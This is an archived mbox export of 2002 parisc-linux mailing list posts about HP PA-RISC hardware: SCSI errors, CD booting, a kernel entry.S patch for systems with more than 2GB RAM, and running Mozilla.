Original-Received: from inca.herrera.edu (pool-151-201-13-14.pitt.east.verizon.net [151.201.13.14])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73997482C
	for <parisc-linux@parisc-linux.org>; Wed, 27 Mar 2002 05:22:10 -0700 (MST)
Original-Received: from neuronet.pitt.edu (localhost [127.0.0.1])
	by inca.herrera.edu (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g2RC0t418454
	for <parisc-linux@parisc-linux.org>; Wed, 27 Mar 2002 07:00:55 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020205
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14444

FYI, on a 715/75 I run SETI@home and was able to process 4 units at an 
average rate of ~99 hours/unit. Currently, I'm using a 715/80, but it 
doesn't look to be doing much better.

-- 
      Rafael




From - Thu Nov 08 21:22:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "dan mclaughlin" <dmclaug881@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hp900 c110 scsi error
Date: Wed, 27 Mar 2002 07:11:11 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <OE27taTz8v6eoHvEmsg000144e8@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0005_01C1D55E.930E13E0"
X-Trace: ger.gmane.org 1416621191 5361 80.91.229.3 (22 Nov 2014 01:53:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:11 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 27 06:17:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe27.law8.hotmail.com [216.33.240.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id CDECF482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Mar 2002 06:17:54 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 27 Mar 2002 05:17:45 -0800
X-Originating-IP: [24.148.27.89]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 27 Mar 2002 13:17:45.0620 (UTC) FILETIME=[C8A33D40:01C1D591]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14445

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C1D55E.930E13E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

trying to install .93 on hp 9000 c110 a4200a
getting error when installing=20
ncr53c720-0 Suspicious scsi data while ressetting the bus

ncr53c720-0 dp1,dp15-8, dp0, d7-0, =
rst,req,ack,bsy,scl.atn,msg,c/d,i/o=3D0x1a2da9,expecting0x100

thank you
dan mclaughlin

------=_NextPart_000_0005_01C1D55E.930E13E0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>trying to install .93 on hp 9000 c110=20
a4200a</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>getting error when installing =
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>ncr53c720-0 Suspicious scsi data while =
ressetting=20
the bus</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>ncr53c720-0 dp1,dp15-8, dp0, d7-0,=20
rst,req,ack,bsy,scl.atn,msg,c/d,i/o=3D0x1a2da9,expecting0x100</FONT></DIV=
>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thank you</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>dan =
mclaughlin</FONT></DIV></BODY></HTML>

------=_NextPart_000_0005_01C1D55E.930E13E0--



From - Thu Nov 08 21:22:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc Zyngier <mzyngier@freesurf.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hp900 c110 scsi error
Date: 27 Mar 2002 14:38:18 +0100
Organization: Metropolis -- Nowhere
Lines: 13
Approved: news@gmane.org
Message-ID: <wrp1ye6w2ph.fsf@hina.wild-wind.fr.eu.org>
References: <OE27taTz8v6eoHvEmsg000144e8@hotmail.com>
Reply-To: mzyngier@freesurf.fr
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621191 5364 80.91.229.3 (22 Nov 2014 01:53:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:11 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "dan mclaughlin" <dmclaug881@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 27 06:39:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from crisis.wild-wind.fr.eu.org (lopsy-lu.misterjones.org [62.4.18.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id CEEEB482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Mar 2002 06:39:03 -0700 (MST)
Original-Received: from hina.wild-wind.fr.eu.org ([192.168.70.139])
	by crisis.wild-wind.fr.eu.org with esmtp (Exim 3.34 #1 (Debian))
	id 16qDdg-00047B-00; Wed, 27 Mar 2002 14:38:56 +0100
Original-Received: from maz by hina.wild-wind.fr.eu.org with local (Exim 3.34 #1 (Debian))
	id 16qDd4-0005uy-00; Wed, 27 Mar 2002 14:38:18 +0100
X-Attribution: maz
X-Baby-1: =?iso-8859-1?q?Lo=EBn?= 12 juin 1996 13:10
X-Baby-2: None
X-Love-1: Gone
X-Love-2: Crazy-Cat
In-Reply-To: <OE27taTz8v6eoHvEmsg000144e8@hotmail.com>
Original-Lines: 11
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14446

>>>>> "dan" == dan mclaughlin <dmclaug881@hotmail.com> writes:

dan> ncr53c720-0 Suspicious scsi data while ressetting the bus
dan> ncr53c720-0 dp1,dp15-8, dp0, d7-0,
dan> rst,req,ack,bsy,scl.atn,msg,c/d,i/o=0x1a2da9,expecting0x100

Looks like a SCSI terminator problem.

        M.
-- 
Places change, faces change. Life is so very strange.



From - Thu Nov 08 21:22:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?q?Bruno=20L=E9on?= <nonolemono@yahoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting 0.9.3 CD
Date: Wed, 27 Mar 2002 16:30:32 +0100 (CET)
Lines: 29
Approved: news@gmane.org
Message-ID: <20020327153032.20130.qmail@web9806.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1666059262-1017243032=:16581"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621192 5373 80.91.229.3 (22 Nov 2014 01:53:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:12 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 27 08:30:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from web9806.mail.yahoo.com (web9806.mail.yahoo.com [216.136.129.29])
	by dsl2.external.hp.com (Postfix) with SMTP id F05C0482C
	for <parisc-linux@parisc-linux.org>; Wed, 27 Mar 2002 08:30:48 -0700 (MST)
Original-Received: from [129.20.233.91] by web9806.mail.yahoo.com via HTTP; Wed, 27 Mar 2002 16:30:32 CET
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14447

--0-1666059262-1017243032=:16581
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit


I finally managed to boot the B180L HP computer. I'm really amazed. 

I just burnt the CD once again, but using a Linux computer, and the HP boot !!!

I'm amazed as the first time I used Nero which is quite well know under Windows ?

Anyway, thanks to all of those who helped me!!!



---------------------------------
Yahoo! Mail -- Une adresse @yahoo.fr gratuite et en franais !

--0-1666059262-1017243032=:16581
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

<P>I finally managed to boot the B180L HP computer. I'm really amazed. </P>
<P>I just burnt the CD once again, but using a Linux computer, and the&nbsp;HP boot !!!</P>
<P>I'm amazed as the first time I used Nero which is quite well know under Windows ?</P>
<P>Anyway, thanks to all of those who helped me!!!</P><p><br><hr size=1><a href="http://fr.mail.yahoo.com">Yahoo! Mail</a> -- Une adresse @yahoo.fr gratuite et en franais !<br>
--0-1666059262-1017243032=:16581--



From - Thu Nov 08 21:22:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Patch for PA 2.0, 32-bit kernels on systems with > 2GB RAM
Date: 27 Mar 2002 17:39:28 -0700
Lines: 110
Approved: news@gmane.org
Message-ID: <1017275968.24441.54.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-FzfXyKX/ypTtkYeGQXm4"
X-Trace: ger.gmane.org 1416621192 5374 80.91.229.3 (22 Nov 2014 01:53:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:12 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 27 17:39:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id E56AE482A
	for <parisc-linux@parisc-linux.org>; Wed, 27 Mar 2002 17:39:31 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP id 8BBEEBD42
	for <parisc-linux@parisc-linux.org>; Wed, 27 Mar 2002 17:39:28 -0700 (MST)
X-Mailer: Evolution/1.0.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14448

--=-FzfXyKX/ypTtkYeGQXm4
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Hello parisc-linux hackers,

The 2.4.18-pa6 patch broke 32-bit kernel on PA 2.0 systems if the system
has > 2GB RAM.  This patch fixes the problem for my C200+ with > 2GB
RAM, and continues to boots with < 2GB RAM.

The basic problem was that the kernel was performing simple sign
extension instead of F-Extension.

I plan on committing this patch into CVS in a couple of days unless it
causes problems on someones configuration.  Please test and let me
know if you encounter problems.

Thanks,

- Ryan

P.S. Thanks to Thomas Bogendoerfer for helping to identify the cause,
and to LaMont Jones for providing the assembly instructions to fix the
problem without using a branch instruction :)



--=-FzfXyKX/ypTtkYeGQXm4
Content-Disposition: attachment; filename=entry.S.diff
Content-Transfer-Encoding: quoted-printable
Content-Type: text/x-patch; charset=ISO-8859-1

Index: arch/parisc/kernel/entry.S
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux/arch/parisc/kernel/entry.S,v
retrieving revision 1.91
diff -u -p -r1.91 entry.S
--- arch/parisc/kernel/entry.S	2002/03/20 05:08:58	1.91
+++ arch/parisc/kernel/entry.S	2002/03/27 04:28:11
@@ -1352,12 +1352,10 @@ dtlb_miss_20:
=20
 	/* Get rid of prot bits and convert to page addr for idtlbt */
=20
-	/* FIXME - sign extension of 0xf0... range is incorrect!
-	** extrd,s below needs to "f-extend" to "0xf0f0f0...".
-	** 4 instances of this to fix.
-	*/
-
+	extrd,s         pte,35,4,t0
 	depdi		0,63,12,pte	/* clear lower 12 bits */
+        addi,=3D          1,t0,0=20
+        extrd,u,*tr     pte,56,25,pte=20
 	extrd,s		pte,56,25,pte	/* bit 31:8 >> 8  */=20
 	idtlbt          pte,prot
=20
@@ -1424,9 +1422,12 @@ nadtlb_miss_20:
=20
 	/* Get rid of prot bits and convert to page addr for idtlbt */
=20
-	depdi		0,63,12,pte	/* clear lower 12 bits */
-	extrd,s		pte,56,25,pte	/* bit 31:8 >> 8  */=20
-	idtlbt          pte,prot
+        extrd,s         pte,35,4,t0
+        depdi           0,63,12,pte     /* clear lower 12 bits */
+        addi,=3D          1,t0,0
+        extrd,u,*tr     pte,56,25,pte
+        extrd,s         pte,56,25,pte   /* bit 31:8 >> 8  */
+        idtlbt          pte,prot
=20
 	rfir
 	nop
@@ -1674,8 +1675,11 @@ itlb_miss_common_20:
=20
 	/* Get rid of prot bits and convert to page addr for iitlbt */
=20
-	depdi		0,63,12,pte	/* clear lower 12 bits */
-	extrd,s		pte,56,25,pte	/* bit 31:8 >> 8  */=20
+        extrd,s         pte,35,4,t0=20
+        depdi           0,63,12,pte     /* clear lower 12 bits */
+        addi,=3D          1,t0,0
+        extrd,u,*tr     pte,56,25,pte=20
+        extrd,s         pte,56,25,pte   /* bit 31:8 >> 8  */
 	iitlbt          pte,prot
=20
 	rfir
@@ -1889,11 +1893,13 @@ dbit_nolock_20:
 	extrd,u,*=3D 	pte,_PAGE_GATEWAY_BIT+32,1,r0
 	depdi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
=20
-	/* Get rid of prot bits and convert to page addr for idtlbt */
+        extrd,s         pte,35,4,t0=20
+        depdi           0,63,12,pte     /* clear lower 12 bits */
+        addi,=3D          1,t0,0
+        extrd,u,*tr     pte,56,25,pte=20
+        extrd,s         pte,56,25,pte   /* bit 31:8 >> 8  */
+        idtlbt          pte,prot
=20
-	depdi		0,63,12,pte	/* clear lower 12 bits */
-	extrd,s		pte,56,25,pte	/* bit 31:8 >> 8  */=20
-	idtlbt          pte,prot
 #ifdef CONFIG_SMP
 	CMPIB=3D,n        0,spc,dbit_nounlock_20
 	ldi             1,t1

--=-FzfXyKX/ypTtkYeGQXm4--




From - Thu Nov 08 21:22:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Dougall <davidd@et.byu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mozilla, etc.
Date: Wed, 27 Mar 2002 21:27:11 -0700 (MST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0203272123310.1463-100000@lewis.et.byu.edu>
References: <20020327151405.2397A482F@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621192 5383 80.91.229.3 (22 Nov 2014 01:53:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:12 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 27 21:28:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from postal.et.byu.edu (postal.et.byu.edu [128.187.122.159])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30B35482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Mar 2002 21:28:31 -0700 (MST)
Original-Received: from lewis (lewis.et.byu.edu [128.187.112.50])
	by postal.et.byu.edu (8.9.3 (PHNE_25184)/8.9.0) with ESMTP id VAA14838
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Mar 2002 21:28:59 -0700 (MST)
In-Reply-To: <20020327151405.2397A482F@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14449

I am quite please with my B132 running 0.9.3.  I am having a slight
difficulty.  How do I get a web browser?  I was going to try to get
mozilla compiled, but it was complaining that I don't have "zip"
installed.  First of all, where is "zip"?  What package is it in?  I tried
apt-get install zip and it returned an error.  Has anyone else gotten
mozilla to work on parisc-linux?  Is there another browser that would be
better?  If so, please advise(or a binary download wouldn't hurt).
Thanks
--David Dougall


PS: is there any hope of a jre on parisc-linux?




From - Thu Nov 08 21:22:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] performance?
Date: Thu, 28 Mar 2002 00:06:40 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20020328000640.B12094@systemhalted>
References: <20020326224358.B28171@piglet> <20020326154444.D26865@parcelfarce.linux.theplanet.co.uk> <20020327180626.C28130@piglet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621192 5394 80.91.229.3 (22 Nov 2014 01:53:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Peter Lavender <plaven@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 27 22:05:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id E93D4482A
	for <parisc-linux@parisc-linux.org>; Wed, 27 Mar 2002 22:05:45 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g2S56eJ12107;
	Thu, 28 Mar 2002 00:06:40 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Peter Lavender <plaven@bigpond.net.au>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020327180626.C28130@piglet>; from plaven@bigpond.net.au on Wed, Mar 27, 2002 at 06:06:26PM +1100
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14450

> 
> The p90 system is an old stock install of redhat 6.0 with very little
> done to the kernel.. it was recompiled with certain drivers built into
> the kernel but that's about it.
> 
> [pete@piglet brad]$ g++ --version
> egcs-2.91.66
> 
> The program is fairly simple in what it does.  
>

This is the crux of the problem. IA32 glibc and kernel are sprinkled
with copious amounts of hand tuned and optimized assembly. We are
nowhere near that level yet :)

What is it that your program does?

Like the beowulf.org people say:
	"Your application is always the best benchmark." 

Cheers,
Carlos.



From - Thu Nov 08 21:22:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mozilla, etc.
Date: Wed, 27 Mar 2002 21:44:59 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <3CA2ADDB.4EE8AFA4@cisco.com>
References: <Pine.LNX.4.33.0203272123310.1463-100000@lewis.et.byu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621193 5397 80.91.229.3 (22 Nov 2014 01:53:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: David Dougall <davidd@et.byu.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 27 22:44:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2993C482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Mar 2002 22:44:14 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id g2S5iCY12140;
	Wed, 27 Mar 2002 21:44:12 -0800 (PST)
Original-Received: from cisco.com (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ACL28916;
	Wed, 27 Mar 2002 21:44:22 -0800 (PST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.7-10 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14451

David,

since rcently you can get the mozilla package with a simple "apt-get install
mozilla", so there is no need to go through the excercise of compiling it
yourself (and it takes several hours on older HW - been there). However it
still doesn't run, as far as I know because the threads are still far from
perfect in palinux. There's a couple of other applications suffering from
this too.

For now I use "dillo" on the parisc machines.

    Christian


David Dougall wrote:

> I am quite please with my B132 running 0.9.3.  I am having a slight
> difficulty.  How do I get a web browser?  I was going to try to get
> mozilla compiled, but it was complaining that I don't have "zip"
> installed.  First of all, where is "zip"?  What package is it in?  I tried
> apt-get install zip and it returned an error.  Has anyone else gotten
> mozilla to work on parisc-linux?  Is there another browser that would be
> better?  If so, please advise(or a binary download wouldn't hurt).
> Thanks
> --David Dougall
>
> PS: is there any hope of a jre on parisc-linux?
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:22:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
